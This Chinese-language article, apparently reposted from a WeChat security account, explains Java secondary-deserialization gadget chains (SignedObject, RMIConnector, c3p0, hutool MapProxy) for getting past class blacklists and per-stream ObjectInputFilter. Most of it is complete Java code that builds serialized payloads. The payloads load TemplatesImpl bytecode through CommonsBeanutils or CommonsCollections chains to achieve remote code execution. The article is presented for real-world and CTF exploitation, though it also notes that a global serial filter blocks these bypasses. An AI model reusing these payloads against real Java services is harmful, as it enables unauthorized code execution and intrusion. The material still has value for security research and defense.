1.为什么要二次反序列化
为什么要二次反序列化?通常是因为存在反序列化入口时,代码通过重写ObjectInputStream.resolveClass()进行黑名单防御。而二次反序列化链所需的类名不在黑名单中,进而产生bypass。参考代码如下。
package util;
import java.io.IOException;
import java.io.InputStream;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Set;
public class SafeObjectInputStream extends ObjectInputStream {
private static final Set<String> BLACKLIST = new HashSet<String>(Arrays.asList(new String[] {
//"org.apache.commons.beanutils.BeanComparator",
"javax.management.BadAttributeValueExpException",
"org.apache.commons.collections4.map.AbstractHashedMap",
"org.springframework.aop.target.HotSwappableTargetSource",
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" }));
public SafeObjectInputStream(InputStream in) throws IOException {
super(in);
}
protected Class<?> resolveClass(ObjectStreamClass desc) throws ClassNotFoundException, IOException {
String className = desc.getName();
if (BLACKLIST.contains(className))
throw new InvalidClassException("Disallowed deserialization attempt: " + className);
return super.resolveClass(desc);
}
}
正常的CB链效果如下
而SignedObject二次反序列化链可以bypass。
而JEP290之后诞生了ObjectInputFilter,对单个 ObjectInputStream设置是这样的。
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter("!com.sun.org.apache.xalan.internal.xsltc.trax*");
ObjectInputFilter.Config.setObjectInputFilter(ois, filter);
ois.readObject();
同样可以用二次反序列化绕过。
如果进行全局设置,二次反序列化将无法绕过。
System.setProperty("jdk.serialFilter", "!com.sun.org.apache.xalan.internal.xsltc.trax*");
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));
ois.readObject();
全局设置还可以在java.security中写入jdk.serialFilter,不同jdk版本文件位置不一样。
JDK8 jdk1.8.0_181/jre/lib/security/java.security
JDK11 jdk-11.0.11/conf/security/java.security
2.协议二次反序列化
本质是通过第一次反序列化向外发起某种协议请求,我们搭好恶意服务端,在协议沟通中完成二次反序列化。因此这种反序列化一般都要出网,没有那么实用。
rmi——jdk原生JRMPClient和JRMPListener
也就是rmi正向反向两个二次反序列化链,均需出网,且均受到JEP290影响。8u121-8u231/8u231-8u241存在JEP290 bypass,更高版本则无法利用,因此用的很少。此外JRMPClient还存在一些变种。
https://su18.org/post/rmi-attack/
jndi——jdk原生JdbcRowSetImpl/LdapAttribute,第三方依赖SharedPoolDataSource/OracleCachedRowSet等等。
也就是getter转jndi,即lookup(url)。同样需要出网,通常接在CB/fastjson/jackson后面。jndi还细分为ldap/rmi,其中ldap在jdk20完全无法反序列化,rmi一直到jdk22还存在反序列化点(和JRMPClient有所不同)。
jdbc——mysql反序列化
也就是getter转jdbc,8.0.19是最后一个可以反序列化的版本,详情如下。
https://paper.seebug.org/1227/
此外这篇文章还介绍了mysql不出网反序列化的利用。
https://xz.aliyun.com/news/17830
3.非协议二次反序列化
在实战和CTF中更常用的是不出网的二次反序列化,jdk原生中有SignedObject和RMIConnector,第三方依赖中有WrapperConnectionPoolDataSource/MapProxy等等。
SignedObject.getObject()
最常用的二次反序列化链,漏洞点一目了然。
由于是getter,天然适合衔接CB/fastjson/jackson,其中CB+SignedObject代码如下。
FileInputStream inputFromFile = new FileInputStream("D:\Downloads\workspace\javareadobject\bin\payload\TemplatesImplCalc.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bs});
setFieldValue(obj, "_name", "TemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(queue,kp.getPrivate(), java.security.Signature.getInstance("DSA"));
//signedObject.getObject();
final BeanComparator comparator2 = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue2 = new PriorityQueue<Object>(2, comparator2);
queue2.add("1");
queue2.add("1");
setFieldValue(comparator2, "property", "object");
setFieldValue(queue2, "queue", new Object[]{signedObject, signedObject});
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(out);
oos.writeObject(queue2);
String base64 = java.util.Base64.getEncoder().encodeToString(out.toByteArray());
base64 = base64.replace("+", "%2B");
System.out.println(base64);
ObjectOutputStream oos2 = new ObjectOutputStream(new FileOutputStream("1.ser"));
oos2.writeObject(queue2);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));
ois.readObject();
这里还有个小tips,在fastjson/jackson链中,我们并不一定要在SignedObject.getObject()这里触发RCE,而是让它返回一个bean就行。这样fastjson/jackson链会继续调这个bean的getter从而触发RCE,具体代码如下。
FileInputStream inputFromFile = new FileInputStream("D:\Downloads\workspace\javareadobject\bin\payload\TemplatesImplCalc.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bs});
setFieldValue(obj, "_name", "TemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(obj,kp.getPrivate(), java.security.Signature.getInstance("DSA"));
//signedObject.getObject();
JSONArray jsonArray = new JSONArray();
jsonArray.add(signedObject);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setFieldValue(bd,"val",jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(signedObject,bd);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();
RMIConnector.connect()
利用链如下
RMIConnector.connect()->
RMIConnector.findRMIServerJRMP()->
RMIConnector.findRMIServer()->
ObjectInputStream.readObject()
但由于它的触发点不是getter,导致在原生反序列化中非常难用,基本只能接在CC链上,实战意义接近于0。
FileInputStream inputFromFile = new FileInputStream("D:\Downloads\workspace\javareadobject\bin\payload\"
+ "TemplatesImplCalc.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bs});
setFieldValue(obj, "_name", "TemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { obj })
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet set = new HashSet(1);
set.add("foo");
HashMap innimpl = (HashMap) getFieldValue(set, "map");
Object array[] = (Object[])(Object[])getFieldValue(innimpl, "table");
Object node;
try {
node = array[1];
} catch (Exception e) {
node = array[0];
}
setFieldValue(node, "key", entry);
ByteArrayOutputStream tser = new ByteArrayOutputStream();
ObjectOutputStream toser = new ObjectOutputStream(tser);
toser.writeObject(set);
toser.close();
String exp = Base64.getEncoder().encodeToString(tser.toByteArray());
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/"+exp);
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
HashMap map = new HashMap();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,rmiConnector);
HashMap map1 = new HashMap();
map1.put(tiedMapEntry,"aaa");
lazymap.remove(rmiConnector);
setFieldValue(lazymap,"factory", invokerTransformer);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.ser"));
oos.writeObject(map1);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("2.ser"));
ois.readObject();
WrapperConnectionPoolDataSource.setUserOverridesAsString()
依赖c3p0,fastjson中非常经典的一条链,setter转反序列化。
InputStream in = new FileInputStream("D:\Downloads\workspace\javareadobject\1.ser");
byte[] payload = toByteArray(in);
String payloadHex = bytesToHex(payload);
payloadHex = "HexAsciiSerializedMap:"+payloadHex+";";
new WrapperConnectionPoolDataSource().setUserOverridesAsString(payloadHex);
利用链如下。
WrapperConnectionPoolDataSourceBase.setUserOverridesAsString()->
VetoableChangeSupport.fireVetoableChange()->
WrapperConnectionPoolDataSource$1.vetoableChange()->
C3P0ImplUtils.parseUserOverridesAsString()->
SerializableUtils.fromByteArray()->
SerializableUtils.deserializeFromByteArray()->
ObjectInputStream.readObject()
在fastjson中是可以直接调setter的,jdk原生反序列化中如何调setter呢?这需要利用ldap/rmi中的ObjectFactory。在BeanFactory/GenericNamingResourcesFactory/JavaBeanObjectFactory中,都可以调setter。
BeanFactory
GenericNamingResourcesFactory
JavaBeanObjectFactory
所以看起来setUserOverridesAsString的二次反序列链大概是这样的。
lookup->getObjectInstance->setUserOverridesAsString->readObject
但显然出网lookup就已经能走协议二次反序列化了,除了极端情况下这个链没什么意义 (jdk17设置trustSerialData=false)。
但是刚好c3p0/xbean存在反序列化链能够不出网调用ObjectFactory,这里c3p0代码如下。
Reference ref = new Reference("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "com.mchange.v2.naming.JavaBeanObjectFactory", null);
InputStream in = new FileInputStream("D:\Downloads\workspace\javareadobject\1.ser");
byte[] payload = toByteArray(in);
String payloadHex = bytesToHex(payload);
payloadHex = "HexAsciiSerializedMap:"+payloadHex+";";
ref.add(new StringRefAddr("userOverridesAsString", payloadHex));
//new WrapperConnectionPoolDataSource().setUserOverridesAsString(payloadHex);
Constructor<?> constructor = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized").getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);
constructor.setAccessible(true);
IndirectlySerialized referenceSerialized = (IndirectlySerialized) constructor.newInstance(ref, null, null, null);
JndiRefDataSourceBase db = new JndiRefDataSourceBase(true);
db.setJndiName(referenceSerialized);
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream os = new ObjectOutputStream(out);
os.writeObject(db);
String encodeString = java.util.Base64.getEncoder().encodeToString(out.toByteArray());
System.out.println(encodeString);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.ser"));
oos.writeObject(db);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("2.ser"));
ois.readObject();
JavaBeanObjectFactory.REF_PROPS_KEY
同样是c3p0,前面提到JavaBeanObjectFactory可以调setter,同时它也存在反序列化的点。
利用链如下。
JavaBeanObjectFactory.getObjectInstance()->
SerializableUtils.fromByteArray()->
SerializableUtils.deserializeFromByteArray()->
ObjectInputStream.readObject()
同理,它可以lookup经过ldap/rmi协议触发,但由于lookup本身就能反序列化所以毫无意义(实际情况更复杂一些,详情见最近发现的跟jdbc有关的新知识——ldap篇)。因此还是搭c3p0/xbean最佳。
Reference ref = new Reference("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "com.mchange.v2.naming.JavaBeanObjectFactory", null);
InputStream in = new FileInputStream("D:\Downloads\workspace\javareadobject\1.ser");
byte[] payload = toByteArray(in);
ref.add(new BinaryRefAddr("com.mchange.v2.naming.JavaBeanReferenceMaker.REF_PROPS_KEY", payload));
Constructor<?> constructor = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized").getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);
constructor.setAccessible(true);
IndirectlySerialized referenceSerialized = (IndirectlySerialized) constructor.newInstance(ref, null, null, null);
JndiRefDataSourceBase db = new JndiRefDataSourceBase(true);
db.setJndiName(referenceSerialized);
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream os = new ObjectOutputStream(out);
os.writeObject(db);
String encodeString = java.util.Base64.getEncoder().encodeToString(out.toByteArray());
System.out.println(encodeString);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.ser"));
oos.writeObject(db);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("2.ser"));
ois.readObject();
这种ObjectFactory中存在某个refAddr可以反序列化还算比较常见。比如tomcat中的SharedPoolDataSource/PerUserPoolDataSource。
weblogic中的PartitionedMbsRefObjFactory
MapProxy.invoke()
依赖hutool,在CTF中被发掘出来的链。
https://mp.weixin.qq.com/s/dMl0aEg6p7w7MKlUe7pCdg
核心代码如下
利用链如下。
MapProxy.invoke()->
Convert.convert()->
Convert.convertWithCheck()->
ConverterRegistry.convert()->
BeanConverter.convert()->
BeanConverter.convertInternal()->
ObjectUtil.deserialize()->
SerializeUtil.deserialize()->
IoUtil.readObj()->
ValidateObjectInputStream.readObject()->
其中ValidateObjectInputStream已经预想到了反序列漏洞的问题,acceptClasses参数是白名单类,但反序列化链的利用过程中,acceptClasses不传参,因此不受影响。
Proxy对象在实例化的时候要传一个接口进去,实例化完成后获得的proxy对象,调用这个接口的方法,就会走到invoke中。实际情况就是这样的。
那么来看MapProxy.invoke()。
显然要进入Convert.convert(),方法名要符合getXxx或者isXxx,截取xxx作为fieldName。而且MapProxy不但是Proxy,也是一个Map,所以再取出get(fieldName),和getXxx()的返回类型作为参数进入到Convert.convert()。
向下跟进到ConverterRegistry.convert(),rowType也就是getXxx()的返回类,必须得是bean,什么样得算bean呢?
得是个标准类,且有个setter或者公开属性。
满足之后,就会将之前MapProxy.get(fieldName)的value进行反序列化。
因此核心是找一个存在getter的接口,且getter的返回类是一个含setter的标准类。最终我们并不会调用这个getter,也不会实例化标准类,仅仅只是用于判断让代码走到反序列化点。
在这个CTF的wp中,都是使用了CTF引入的feilong包中的某个类的getter。显然理想情况是jdk内部就有符合标准的getter,这并不难找,我找到了java.awt.Shape.getBounds()就满足条件。
因此最终代码如下。
FileInputStream inputFromFile = new FileInputStream("D:\Downloads\workspace\javareadobject\bin\payload\"
+ "TemplatesImplCalc.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bs});
setFieldValue(obj, "_name", "TemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
setFieldValue(obj, "_transletIndex", 0);
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
HashMap map = new HashMap();
map.put("bounds", serialize(queue));
MapProxy mapProxy = MapProxy.create(map);
Class proxyClass = Shape.class;
Shape proxy = (Shape) Proxy.newProxyInstance(proxyClass.getClassLoader(), new Class[] {proxyClass}, mapProxy);
/proxy.getBounds();
setFieldValue(comparator, "property", "bounds");
setFieldValue(queue, "queue", new Object[]{proxy, proxy});
ObjectOutputStream oos2 = new ObjectOutputStream(new FileOutputStream("1.ser"));
oos2.writeObject(queue);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));
ois.readObject();
原文始发于微信公众号(NOVASEC):java二次反序列化链
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论